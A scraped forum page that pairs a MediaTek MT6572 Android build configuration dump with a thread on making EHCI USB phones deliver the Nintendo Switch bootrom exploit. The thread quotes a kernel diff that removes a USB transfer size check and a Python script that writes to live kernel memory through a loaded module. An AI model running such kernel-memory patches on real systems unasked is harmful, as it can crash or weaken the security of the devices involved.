CUSTOM_UBOOT_LCM = s6d04d2x01 #nt35510_fwvga
DEFAULT_INPUT_METHOD = com.touchtype.swiftkey.micro/com.touchtype.KeyboardService
DEFAULT_LATIN_IME_LANGUAGES = en-US fr ru
DFO_MISC = MTK_ENABLE_MD1 MTK_ENABLE_MD2 MD1_SIZE MD2_SIZE MD1_SMEM_SIZE MD2_SMEM_SIZE MTK_MD1_SUPPORT MTK_MD2_SUPPORT
DFO_NVRAM_SET = TELEPHONY_DFOSET ALWAYSON_DFOSET OP01_CTS_COMPATIBLE_DFOSET
DISABLE_EARPIECE = no
DMNR_TUNNING_AT_MODEMSIDE = yes
ENCRY_PARTITION_SUPPORT = no
EVB = no
EVDO_DT_SUPPORT = no
EVDO_DT_VIA_SUPPORT = no
FEATURE_FTM_AUDIO_TEST = yes
GEMINI = yes
GOOGLE_RELEASE_RIL = no
HAVE_AACENCODE_FEATURE = yes
HAVE_ADPCMENCODE_FEATURE = yes
HAVE_AEE_FEATURE = yes
HAVE_APPC_FEATURE = no
HAVE_AWBENCODE_FEATURE = no
HAVE_CMMB_FEATURE = no
HAVE_GROUP_SCHEDULING = no
HAVE_MATV_FEATURE = no #yes
HAVE_MTKLOUDNESS_EFFECT = yes
HAVE_SRSAUDIOEFFECT_FEATURE = no
HAVE_VORBISENC_FEATURE = yes
HAVE_XLOG_FEATURE = yes
KBUILD_OUTPUT_SUPPORT = yes
LCM_HEIGHT = 240
LCM_WIDTH = 240
MD1_SIZE = ref:chkMDSize.pl md1
MD1_SMEM_SIZE = 0x00200000
MD2_SIZE = ref:chkMDSize.pl md2
MD2_SMEM_SIZE = 0x00200000
MTK_2IN1_SPK_SUPPORT = no
MTK_2SDCARD_SWAP = no
MTK_AAL_SUPPORT = no
MTK_ACMT_DEBUG = no
MTK_ACWFDIALOG_APP = no
MTK_AGPS_APP = yes
MTK_ANDROIDFACTORYMODE_APP = yes
MTK_API_CHECK = yes
MTK_APKINSTALLER_APP = yes
MTK_APPGUIDE_APP = no
MTK_AP_SPEECH_ENHANCEMENT = no
MTK_ASD_SUPPORT = yes
MTK_ASF_PLAYBACK_SUPPORT = no
MTK_ATV_CHIP = #MTK_MT5193
MTK_AUDENH_SUPPORT = no
MTK_AUDIOPROFILE_SELECT_MMS_RINGTONE_SUPPORT = no
MTK_AUDIO_ADPCM_SUPPORT = yes
MTK_AUDIO_APE_SUPPORT = yes
MTK_AUDIO_BLOUD_CUSTOMPARAMETER_REV = MTK_AUDIO_BLOUD_CUSTOMPARAMETER_V4
MTK_AUDIO_HD_REC_SUPPORT = yes
MTK_AUDIO_PROFILES = yes
MTK_AUDIO_RAW_SUPPORT = yes
MTK_AUD_LOCK_MD_SLEEP_SUPPORT = no
MTK_AUTOIP_SUPPORT = no
MTK_AUTORAMA_SUPPORT = no
MTK_AUTO_DETECT_ACCELEROMETER = no
MTK_AUTO_DETECT_MAGNETOMETER = no
MTK_AVI_PLAYBACK_SUPPORT = yes
MTK_BACKUPANDRESTORE_APP = no
MTK_BAIDU_LOCATION_SUPPORT = no
MTK_BAIDU_MAP_SUPPORT = no
MTK_BAIDU_SEARCH_BAR_SUPPORT = no
MTK_BEAM_PLUS_SUPPORT = no
MTK_BENCHMARK_BOOST_TP = no
MTK_BICR_SUPPORT = yes
MTK_BIP_SCWS = no
MTK_BQ24158_SUPPORT = no
MTK_BQ27541_SUPPORT = no
MTK_BRANCH = MAIN2.1
MTK_BRAZIL_CUSTOMIZATION = no
MTK_BRAZIL_CUSTOMIZATION_CLARO = no
MTK_BRAZIL_CUSTOMIZATION_TIM = no
MTK_BRAZIL_CUSTOMIZATION_VIVO = no
MTK_BSP_PACKAGE = no
MTK_BT_21_SUPPORT = yes
MTK_BT_30_HS_SUPPORT = no
MTK_BT_30_SUPPORT = yes
MTK_BT_40_LE_STANDALONE = no
MTK_BT_40_SUPPORT = no
MTK_BT_CHIP = MTK_CONSYS_MT6572
MTK_BT_FM_OVER_BT_VIA_CONTROLLER = no
MTK_BT_POWER_EFFICIENCY_ENHANCEMENT = yes
MTK_BT_PROFILE_A2DP = yes
MTK_BT_PROFILE_AVRCP = yes
MTK_BT_PROFILE_AVRCP13 = no
MTK_BT_PROFILE_AVRCP14 = no
MTK_BT_PROFILE_BIP = no
MTK_BT_PROFILE_BPP = no
MTK_BT_PROFILE_DUN = no
MTK_BT_PROFILE_FTP = no
MTK_BT_PROFILE_HFP = yes
MTK_BT_PROFILE_HIDH = yes
MTK_BT_PROFILE_MANAGER = yes
MTK_BT_PROFILE_MAPC = no
MTK_BT_PROFILE_MAPS = no
MTK_BT_PROFILE_OPP = yes
MTK_BT_PROFILE_PAN = yes
MTK_BT_PROFILE_PBAP = yes
MTK_BT_PROFILE_PRXM = no
MTK_BT_PROFILE_PRXR = no
MTK_BT_PROFILE_SIMAP = no
MTK_BT_PROFILE_SPP = yes
MTK_BT_PROFILE_TIMEC = no
MTK_BT_PROFILE_TIMES = no
MTK_BT_SUPPORT = yes
MTK_BUILD_VERNO = ALPS.JB3.MP.V1.8
MTK_BWC_SUPPORT = yes
MTK_CACHE_MERGE_SUPPORT = no
MTK_CALENDAR_IMPORTER_APP = yes
MTK_CAMCORDER_PROFILE_MID_MP4 = no
MTK_CAMERA_APP = no
MTK_CAMERA_APP_3DHW_SUPPORT = yes
MTK_CAMERA_BSP_SUPPORT = yes
MTK_CDS_EM_SUPPORT = yes
MTK_CELL_BROADCAST_RECEIVER_SUPPORT = no
MTK_CHIP_VER = S01
MTK_CHKIMGSIZE_SUPPORT = yes
MTK_CMAS_SUPPORT = no
MTK_CMCC_MOBILEMARKET_SUPPORT = no
MTK_CMMB_CHIP =
MTK_COMBO_CHIP = MT6572_CONSYS
MTK_COMBO_CORE_DUMP_SUPPORT = no
MTK_COMBO_NAND_SUPPORT = no
MTK_COMBO_QUICK_SLEEP_SUPPORT = no
MTK_COMBO_SUPPORT = yes
MTK_CPU = arm_cortexa7
MTK_CTA_SET = no
MTK_CTA_SUPPORT = no
MTK_CTPPPOE_SUPPORT = no
MTK_DATADIALOG_APP = no
MTK_DATAREG_APP = no
MTK_DATAUSAGELOCKSCREENCLIENT_SUPPORT = no
MTK_DATAUSAGE_SUPPORT = no
MTK_DATA_TRANSFER_APP = yes
MTK_DDR3_SUPPORT = no
MTK_DEDICATEDAPN_SUPPORT = no
MTK_DEFAULT_DATA_OFF = no
MTK_DENA_MINIROSANGUO_APP = no
MTK_DENA_MOBAGE_APP = no
MTK_DHCPV6C_WIFI = yes
MTK_DIALER_SEARCH_SUPPORT = yes
MTK_DIGITAL_MIC_SUPPORT = no
MTK_DISABLE_EFUSE = no
MTK_DISABLE_POWER_ON_OFF_VOLTAGE_LIMITATION = no
MTK_DISPLAY_HIGH_RESOLUTION = no
MTK_DITHERING_SUPPORT = no
MTK_DM_APP = no
MTK_DM_ENTRY_DISPLAY = no
MTK_DP_FRAMEWORK = yes
MTK_DRM_APP = yes
MTK_DSPIRDBG = no
MTK_DT_SUPPORT = no
MTK_DUAL_MIC_SUPPORT = no
MTK_EAP_SIM_AKA = yes
MTK_EMMC_DISCARD = no
MTK_EMMC_SUPPORT = yes
MTK_EMMC_SUPPORT_OTP = no
MTK_EMULATOR_SUPPORT = no
MTK_ENABLE_MD1 = yes
MTK_ENABLE_MD2 = no
MTK_ENABLE_VIDEO_EDITOR = no
MTK_ENGINEERMODE_APP = yes
MTK_ENGINEERMODE_INTERNAL_APP = yes
MTK_ENS_SUPPORT = no
MTK_ETWS_SUPPORT = no
MTK_FACEBEAUTY_SUPPORT = no
MTK_FACTORY_MODE_IN_GB2312 = yes
MTK_FAN5405_SUPPORT = no
MTK_FASTBOOT_SUPPORT = yes
MTK_FAT_ON_NAND = no
MTK_FD_FORCE_REL_SUPPORT = yes
MTK_FD_SUPPORT = yes
MTK_FENCE_SUPPORT = yes
MTK_FILEMANAGER_APP = yes
MTK_FIRST_MD = 1
MTK_FLIGHT_MODE_POWER_OFF_MD = yes
MTK_FLV_PLAYBACK_SUPPORT = yes
MTK_FMRADIO_APP = no#yes
MTK_FM_50KHZ_SUPPORT = no
MTK_FM_CHIP = #MT6627_FM
MTK_FM_RECORDING_SUPPORT = no#yes
MTK_FM_RX_AUDIO = FM_DIGITAL_INPUT
MTK_FM_RX_SUPPORT = no#yes
MTK_FM_SHORT_ANTENNA_SUPPORT = no
MTK_FM_SUPPORT = no#yes
MTK_FM_TX_AUDIO = FM_ANALOG_OUTPUT
MTK_FM_TX_SUPPORT = no
MTK_FOTA_ENTRY = no
MTK_FOTA_SUPPORT = no
MTK_FSCK_MSDOS_MTK = no
MTK_GALLERY3D_APP = yes
MTK_GALLERY_APP = yes
MTK_GAMELOFT_AVENGERS_ULC_CN_APP = no
MTK_GAMELOFT_AVENGERS_ULC_WW_APP = no
MTK_GAMELOFT_GLL_CN_APP = no
MTK_GAMELOFT_GLL_ULC_CN_APP = no
MTK_GAMELOFT_GLL_ULC_WW_APP = no
MTK_GAMELOFT_GLL_WW_APP = no
MTK_GAMELOFT_LBC_CN_APP = no
MTK_GAMELOFT_LBC_ULC_CN_APP = no
MTK_GAMELOFT_LBC_ULC_WW_APP = no
MTK_GAMELOFT_LBC_WW_APP = no
MTK_GAMELOFT_SD_CN_APP = no
MTK_GAMELOFT_SD_WW_APP = no
MTK_GAMELOFT_WONDERZOO_ULC_CN_APP = no
MTK_GAMELOFT_WONDERZOO_ULC_WW_APP = no
MTK_GEMINI_3G_SWITCH = no
MTK_GEMINI_3SIM_SUPPORT = no
MTK_GEMINI_4SIM_SUPPORT = no
MTK_GEMINI_ENHANCEMENT = yes
MTK_GEMINI_SMART_3G_SWITCH = 0
MTK_GOOGLEOTA_SUPPORT = no
MTK_GPS_CHIP = MTK_GPS_MT6572
MTK_GPS_SUPPORT = yes
MTK_GPU_CHIP = MALI400MP1
MTK_GPU_SUPPORT = yes
MTK_HDMI_SUPPORT = no
MTK_HDR_SUPPORT = no
MTK_HEADSET_ICON_SUPPORT = no
MTK_HIGH_QUALITY_THUMBNAIL = yes
MTK_HWC_SUPPORT = yes
MTK_HWC_VERSION = 1.0
MTK_HW_ENHANCE = no
MTK_IMAGE_LARGE_MEM_LIMIT = no
MTK_IMEI_LOCK = no
MTK_IME_ARABIC_SUPPORT = no
MTK_IME_ENGLISH_SUPPORT = yes
MTK_IME_FRENCH_SUPPORT = no
MTK_IME_GERMAN_SUPPORT = no
MTK_IME_HANDWRITING_ENGINE = none
MTK_IME_HANDWRITING_SUPPORT = no
MTK_IME_HINDI_SUPPORT = no
MTK_IME_INDONESIAN_SUPPORT = no
MTK_IME_INPUT_ENGINE = none
MTK_IME_ITALIAN_SUPPORT = no
MTK_IME_MALAY_SUPPORT = no
MTK_IME_PINYIN_SUPPORT = yes
MTK_IME_PORTUGUESE_SUPPORT = no
MTK_IME_RUSSIAN_SUPPORT = no
MTK_IME_SPANISH_SUPPORT = no
MTK_IME_STROKE_SUPPORT = no
MTK_IME_SUPPORT = no
MTK_IME_THAI_SUPPORT = no
MTK_IME_TURKISH_SUPPORT = no
MTK_IME_VIETNAM_SUPPORT = no
MTK_IME_ZHUYIN_SUPPORT = yes
MTK_INCLUDE_MODEM_DB_IN_IMAGE = yes
MTK_INPUTMETHOD_PINYINIME_APP = no
MTK_INTERNAL = no
MTK_INTERNAL_LANG_SET = no
MTK_ION_SUPPORT = yes
MTK_IPOH_SUPPORT = yes
MTK_IPO_SUPPORT = yes
MTK_IPV6_SUPPORT = yes
MTK_IPV6_TETHER_NDP_MODE = no
MTK_IPV6_TETHER_PD_MODE = no
MTK_ISMS_SUPPORT = no
MTK_KERNEL_POWER_OFF_CHARGING = yes
MTK_LAUNCHERPLUS_APP = no
MTK_LAUNCHER_ALLAPPSGRID = no
MTK_LAUNCHER_UNREAD_SUPPORT = yes
MTK_LAUNCH_TIME_OPTIMIZE = yes
MTK_LCA_RAM_OPTIMIZE = no
MTK_LCA_ROM_OPTIMIZE = no
MTK_LCA_SUPPORT = no
MTK_LCEEFT_SUPPORT = yes
MTK_LCM_PHYSICAL_ROTATION = 0
MTK_LIVEWALLPAPER_APP = yes
MTK_LOCKSCREEN_TYPE = 1
MTK_LOG2SERVER_APP = no
MTK_LOG2SERVER_INTERNAL = no
MTK_M4U_SUPPORT = yes
MTK_MASS_STORAGE = yes
MTK_MATV_ANALOG_SUPPORT = no
MTK_MATV_SERIAL_IF_SUPPORT = no #yes
MTK_MAV_PLAYBACK_SUPPORT = no
MTK_MAV_SUPPORT = no
MTK_MD1_SUPPORT = 3
MTK_MD2_SUPPORT = 4
MTK_MDLOGGER_SUPPORT = yes
MTK_MDM_APP = no
MTK_MDM_FUMO = no
MTK_MDM_LAWMO = no
MTK_MDM_SCOMO = no
MTK_MD_SHUT_DOWN_NT = yes
MTK_MEDIA3D_APP = no
MTK_MEMORY_COMPRESSION_SUPPORT = no
MTK_MEM_PRESERVED_MODE_ENABLE = no
MTK_MERGE_INTERFACE_SUPPORT = yes
MTK_MMPROFILE_SUPPORT = no
MTK_MMUMAP_SUPPORT = no
MTK_MODEM_SUPPORT = modem_3g
MTK_MT519X_FM_SUPPORT = no
MTK_MT8193_HDCP_SUPPORT = no
MTK_MT8193_HDMI_SUPPORT = no
MTK_MT8193_NFI_SUPPORT = no
MTK_MT8193_SUPPORT = no
MTK_MTKLOGGER_SUPPORT = yes
MTK_MTKPS_PLAYBACK_SUPPORT = no
MTK_MULTIBRIDGE_SUPPORT = no
MTK_MULTISIM_RINGTONE_SUPPORT = no
MTK_MULTI_STORAGE_SUPPORT = yes
MTK_MUSIC_LRC_SUPPORT = no
MTK_MVNO_SUPPORT = yes
MTK_NAND_PAGE_SIZE = 4K
MTK_NAND_UBIFS_SUPPORT = no
MTK_NATIVE_3D_SUPPORT = no
MTK_NATIVE_FENCE_SUPPORT = no
MTK_NEON_SUPPORT = yes
MTK_NETWORK_TYPE_ALWAYS_ON = no
MTK_NETWORK_TYPE_DISPLAY = no
MTK_NEW_IPTABLES_SUPPORT = yes
MTK_NFC_ADDON_SUPPORT = no
MTK_NFC_APP_SUPPORT = no
MTK_NFC_FW_MSR3110 = no
MTK_NFC_FW_MT6605 = no
MTK_NFC_MSR3110 = no
MTK_NFC_MT6605 = no
MTK_NFC_SE_NUM =
MTK_NFC_SUPPORT = no
MTK_NOTEBOOK_SUPPORT = no
MTK_NVRAM_SECURITY = no
MTK_OGM_PLAYBACK_SUPPORT = no
MTK_OMACP_SUPPORT = yes
MTK_OMA_DOWNLOAD_SUPPORT = yes
MTK_OOBE_APP = no
MTK_PCB_BATTERY_SENSOR = no
MTK_PHONE_NUMBER_GEODESCRIPTION = yes
MTK_PHONE_VOICE_RECORDING = yes
MTK_PHONE_VT_MM_RINGTONE = no
MTK_PHONE_VT_VOICE_ANSWER = no
MTK_PLATFORM = MT6572
MTK_PLATFORM_OPTIMIZE = yes
MTK_POWER_SAVING_SWITCH_UI_SUPPORT = no
MTK_PQ_SUPPORT = yes
MTK_PRODUCT_INFO_SUPPORT = no
MTK_PRODUCT_LOCALES = en_US zh_CN es_ES zh_TW ru_RU pt_BR fr_FR de_DE tr_TR it_IT in_ID ms_MY vi_VN ar_EG th_TH pt_PT nl_NL el_GR hu_HU tl_PH ro_RO cs_CZ iw_IL my_MM km_KH ko_KR ldpi mdpi hdpi
MTK_QQBROWSER_SUPPORT = no
MTK_QVGA_LANDSCAPE_SUPPORT = no
MTK_RADIOOFF_POWER_OFF_MD = no
MTK_RAT_BALANCING = no
MTK_RAT_WCDMA_PREFERRED = yes
MTK_RCSE_SUPPORT = no
MTK_RELEASE_PACKAGE = rel_customer_basic rel_customer_platform rel_customer_operator_cu
MTK_RESOURCE_OPTIMIZATION =
MTK_RILD_READ_IMSI = no
MTK_RSDM_APP = no
MTK_RTP_OVER_RTSP_SUPPORT = yes
MTK_RTSP_BITRATE_ADAPTATION_SUPPORT = no
MTK_S3D_SUPPORT = no
MTK_SCOMO_ENTRY = no
MTK_SCREEN_OFF_WIFI_OFF = no
MTK_SD_REINIT_SUPPORT = no
MTK_SD_SUPPORT = yes
MTK_SEARCH_DB_SUPPORT = yes
MTK_SECURITY_SW_SUPPORT = yes
MTK_SEC_BOOT = ATTR_SBOOT_ONLY_ENABLE_ON_SCHIP
MTK_SEC_CHIP_SUPPORT = yes
MTK_SEC_MODEM_AUTH = no
MTK_SEC_MODEM_ENCODE = no
MTK_SEC_MODEM_NVRAM_ANTI_CLONE = no
MTK_SEC_SECRO_AC_SUPPORT = yes
MTK_SEC_USBDL = ATTR_SUSBDL_ONLY_ENABLE_ON_SCHIP
MTK_SEND_RR_SUPPORT = yes
MTK_SENSOR_SUPPORT = yes
MTK_SHARED_SDCARD = no
MTK_SHARE_MODEM_CURRENT = 2
MTK_SHARE_MODEM_SUPPORT = 2
MTK_SIGNATURE_CUSTOMIZATION = no
MTK_SIGNMODEM_SUPPORT = yes
MTK_SIM1_SOCKET_TYPE = 1
MTK_SIM2_SOCKET_TYPE = 1
MTK_SIM_AUTHENTICATION_SUPPORT = no
MTK_SIM_HOT_SWAP = yes
MTK_SIM_HOT_SWAP_COMMON_SLOT = no
MTK_SIM_RECOVERY = yes
MTK_SINA_WEIBO_SUPPORT = no
MTK_SINGLE_3DSHOT_SUPPORT = no
MTK_SIP_SUPPORT = no
MTK_SMARTSWITCH_SUPPORT = no
MTK_SMSREG_APP = yes
MTK_SMS_FILTER_SUPPORT = yes
MTK_SMS_NATIONAL_LANGUAGE_SUPPORT = no
MTK_SMS_TURKISH_TABLE_ALWAYS_SUPPORT = no
MTK_SNS_FACEBOOK_APP = no
MTK_SNS_FLICKR_APP = no
MTK_SNS_KAIXIN_APP = no
MTK_SNS_RENREN_APP = no
MTK_SNS_SINAWEIBO_APP = no
MTK_SNS_SINAWEIBO_TEST = no
MTK_SOUNDRECORDER_APP = no
MTK_SPECIAL_FACTORY_RESET = no
MTK_SPECIFIC_SM_CAUSE = no
MTK_SPH_EHN_CTRL_SUPPORT = yes
MTK_STEREO3D_WALLPAPER_APP = no
MTK_SUPPORT_MJPEG = yes
MTK_SWIP_AAC = no
MTK_SWIP_VORBIS = yes
MTK_SYSTEM_UPDATE_SUPPORT = yes
MTK_TB_APP_CALL_FORCE_SPEAKER_ON = no
MTK_TB_APP_LANDSCAPE_SUPPORT = no
MTK_TB_DEBUG_SUPPORT = no
MTK_TB_HW_DEBUG = no
MTK_TELEPHONY_MODE = 3
MTK_TENCENT_MOBILE_MANAGER_NORMAL_SUPPORT = no
MTK_TENCENT_MOBILE_MANAGER_SLIM_SUPPORT = no
MTK_TETHERINGIPV6_SUPPORT = yes
MTK_TETHERING_EEM_SUPPORT = no
MTK_THEMEMANAGER_APP = no
MTK_TINY_UTIL = yes
MTK_TLR_SUPPORT = no
MTK_TMP103_SUPPORT = no
MTK_TODOS_APP = no
MTK_TOUCH_PHYSICAL_ROTATION_RELATIVE_TO_LCM = 0
MTK_TTY_SUPPORT = yes
MTK_TVOUT_SUPPORT = no
MTK_UART_USB_SWITCH = yes
MTK_UMTS_TDD128_MODE = no
MTK_USB_AUDIO_SUPPORT = yes
MTK_USES_HD_VIDEO = no
MTK_USES_STAGEFRIGHT_DEFAULT_CODE = no
MTK_USES_VR_DYNAMIC_QUALITY_MECHANISM = yes
MTK_USE_ANDROID_MM_DEFAULT_CODE = no
MTK_USE_RESERVED_EXT_MEM = no
MTK_VIBSPK_SUPPORT = no
MTK_VIDEOWIDGET_APP = no
MTK_VIDEO_1080P = yes
MTK_VIDEO_FAVORITES_WIDGET_APP = no
MTK_VIDEO_THUMBNAIL_PLAY_SUPPORT = no
MTK_VLW_APP = no
MTK_VOICE_UI_SUPPORT = no
MTK_VOICE_UNLOCK_SUPPORT = yes
MTK_VSIM_AUTO_ANSWER = no
MTK_VSS_SUPPORT = no
MTK_VT3G324M_SUPPORT = yes
MTK_WAIT_SYNC_SUPPORT = no
MTK_WAPI_SUPPORT = no
MTK_WAPPUSH_SUPPORT = yes
MTK_WB_SPEECH_SUPPORT = yes
MTK_WCDMA_SUPPORT = no
MTK_WEATHER3D_WIDGET = no
MTK_WEATHER_PROVIDER_APP = no
MTK_WEATHER_WIDGET_APP = no
MTK_WEB_NOTIFICATION_SUPPORT = yes
MTK_WEEK_NO = W10.24
MTK_WFD_SUPPORT = no
MTK_WIFI_HOTSPOT_SUPPORT = yes
MTK_WIFI_P2P_SUPPORT = no
MTK_WLANBT_SINGLEANT = no
MTK_WLAN_CHIP =
MTK_WLAN_SUPPORT = yes
MTK_WML_SUPPORT = yes
MTK_WORLD_CLOCK_WIDGET_APP = yes
MTK_WPA2PSK_SUPPORT = no
MTK_WVDRM_SUPPORT = yes
MTK_YAML_SCATTER_FILE_SUPPORT = yes
MTK_YGPS_APP = yes
MTK_YMCAPROP_SUPPORT = no
MULTI_CH_PLAYBACK_SUPPORT = no
NAND_OTP_SUPPORT = no
NATIVE_AUDIO_PREPROCESS_ENABLE = yes
NO_INIT_PERMISSION_CHECK = yes
OP01_CTS_COMPATIBLE = no
OP01_CTS_COMPATIBLE_DFOSET = no
OP01_CTS_COMPATIBLE_DFOSET_VALUE = OP01_CTS_COMPATIBLE
OPTR_SPEC_SEG_DEF = NONE#OP02_SPEC0200_SEGA
PLATFORM_MTK_SDK_VERSION = 1
RESOURCE_OVERLAY_SUPPORT = generic
SUPPORT_SDCARD2 = yes
TARGET_ARCH_VARIANT = armv7-a-neon
TELEPHONY_DFOSET = no
TELEPHONY_DFOSET_VALUE = MTK_DT_SUPPORT MTK_TELEPHONY_MODE MTK_SHARE_MODEM_SUPPORT MTK_SHARE_MODEM_CURRENT MTK_ENABLE_MD1 MTK_ENABLE_MD2 MTK_FIRST_MD
USE_OPENGL_RENDERER = true
WIFI_WEP_KEY_ID_SET = no
WIFI_WPS_PIN_FROM_AP = no
Did any of you already used this Different Config Settings to Build the Kernel ?
What firmware are you using to pull from?

How to go about patching the kernel to get EHCI(USB 2.0) devices to behave like xHCI?

Basically, there has been an app ported to Android that allows even unrooted(stock) devices to deliver a bootrom exploit to the Nintendo Switch via USB-OTG and a USB cable (or C-to-C). USB 3.0 (xHCI) devices have no issues and deliver the exploit just fine. Apparently it is not even a USB 2.0 problem but rather how the EHCI performs, as certain USB 2.0 phones actually have the xHCI controller and can run the exploit just fine. What happens is that although it can detect the connected Switch in Tegra Recovery Mode, it just doesn't do anything and gives an error in the logs, "SUMBITURB failed".
On Linux desktop systems it is similar, but the exploit can still work with a kernel patch provided by a hacking group that discovered the exploit in the first place:
Code:
--- linux-4.14.27/drivers/usb/host/ehci-hcd.c.old 2018-04-17 18:00:00.000000000 +0000
+++ linux-4.14.27/drivers/usb/host/ehci-hcd.c 2018-04-17 18:00:00.000000000 +0000
@@ -873,14 +873,6 @@
INIT_LIST_HEAD (&qtd_list);
switch (usb_pipetype (urb->pipe)) {
- case PIPE_CONTROL:
- /* qh_completions() code doesn't handle all the fault cases
- * in multi-TD control transfers. Even 1KB is rare anyway.
- */
- if (urb->transfer_buffer_length > (16 * 1024))
- return -EMSGSIZE;
- /* FALLTHROUGH */
- /* case PIPE_BULK: */
default:
if (!qh_urb_transaction (ehci, urb, &qtd_list, mem_flags))
return -ENOMEM;
The author of the Android port had also written a Python "hotpatch" script for desktop Linux systems:
Code:
#!/usr/bin/env python3
import os
"""
Cursed Code.
This code literally patches your kernel memory, proceed at your own risk.
Tested on Ubuntu 17.10 and Arch, x86_64. Should work on other distros, maybe even other architectures!
Run fusee-launcher.py with the "--override-checks" argument.
If you'd rather patch your drivers properly:
https://github.com/fail0verflow/shofel2/blob/master/linux-ehci-enable-large-ctl-xfers.patch
"""
ksyms = {
line[2]: int(line[0], 16)
for line in
map(lambda l: l.strip().split(),
open("/proc/kallsyms", "r").readlines())}
print(hex(ksyms["ehci_urb_enqueue"]))
patch_c = """
#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/pgtable.h>
static u32 ORIG_MAX = 16*1024;
static u32 NEW_MAX = 0x1000000;
/* borrowed from MUSL because I'm lazy AF */
static char *fourbyte_memmem(const unsigned char *h, size_t k, const unsigned char *n)
{
uint32_t nw = n[0]<<24 | n[1]<<16 | n[2]<<8 | n[3];
uint32_t hw = h[0]<<24 | h[1]<<16 | h[2]<<8 | h[3];
for (h+=3, k-=3; k; k--, hw = hw<<8 | *++h)
if (hw == nw) return (char *)h-3;
return 0;
}
static pte_t* (*lookup_addr)(unsigned long, unsigned int*) = (void *) PLACE2;
static void set_addr_rw(unsigned long addr) {
unsigned int level;
pte_t *pte = lookup_addr(addr, &level);
set_pte_atomic(pte, pte_mkwrite(*pte));
}
int init_module(void) {
void * ehci_urb_enqueue_start = (void *) PLACEHOLDER;
u32 * patch_addr;
printk(KERN_INFO "Patch module loaded\\n");
patch_addr = (u32 *) fourbyte_memmem(ehci_urb_enqueue_start, 0x400, (void *)&ORIG_MAX);
if (patch_addr == NULL) {
printk(KERN_INFO "Failed to find patch site :(\\n");
return -1;
}
printk(KERN_INFO "patch_addr: 0x%px\\n", patch_addr);
set_addr_rw((unsigned long)patch_addr);
*patch_addr = NEW_MAX;
printk(KERN_INFO "Patching done!\\n");
return -1;
}
""".replace("PLACEHOLDER", hex(ksyms["ehci_urb_enqueue"])).replace("PLACE2", hex(ksyms["lookup_address"]))
makefile = """
obj-m += patch.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
"""
with open("patch.c", "w") as patchfile:
patchfile.write(patch_c)
with open("Makefile", "w") as mf:
mf.write(makefile)
os.system("make")
print("About to insert patch module, 'Operation not permitted' means it probably worked, check dmesg output.")
os.system("insmod patch.ko")
I tried to see if running it in Termux would do anything but I got the following error:
Code:
0x0
Traceback (most recent call last):
File "ehci_patch.py", line 70, in <module>
" " ".replace("PLACEHOLDER", hex(ksyms["ehci_urb_enqueue"])).replace("PLACE2" hex(ksyms["lookup_address"]))
KeyError: 'lookup_address'
I know that script isn't meant for use on Android anyway but maybe it can lead to a solution. The author of it does not know how to go about it at this time either, but believes an entire recompile of the kernel would be necessary. I am hoping that something like a systemless Magisk module would be the easiest solution for users but do not know if that is possible. I am only guessing it might be possible to create a Magisk module because of audio drivers like VIPER4Android. If indeed a custom kernel is needed, does anyone know how to go about it? It could be difficult to implement for everyone because not everyone has a device where the source to the kernel is available, etc. I am willing, however, to test anything on my tablet which is USB 2.0 and gives the error in the app. Any advice for how to go about this will be greatly appreciated.
I feel ya man, i need this stuff too. NXLoader doesn't work on my Galaxy Grand Prime (G530T) and i really need it to Dx

Categories

Resources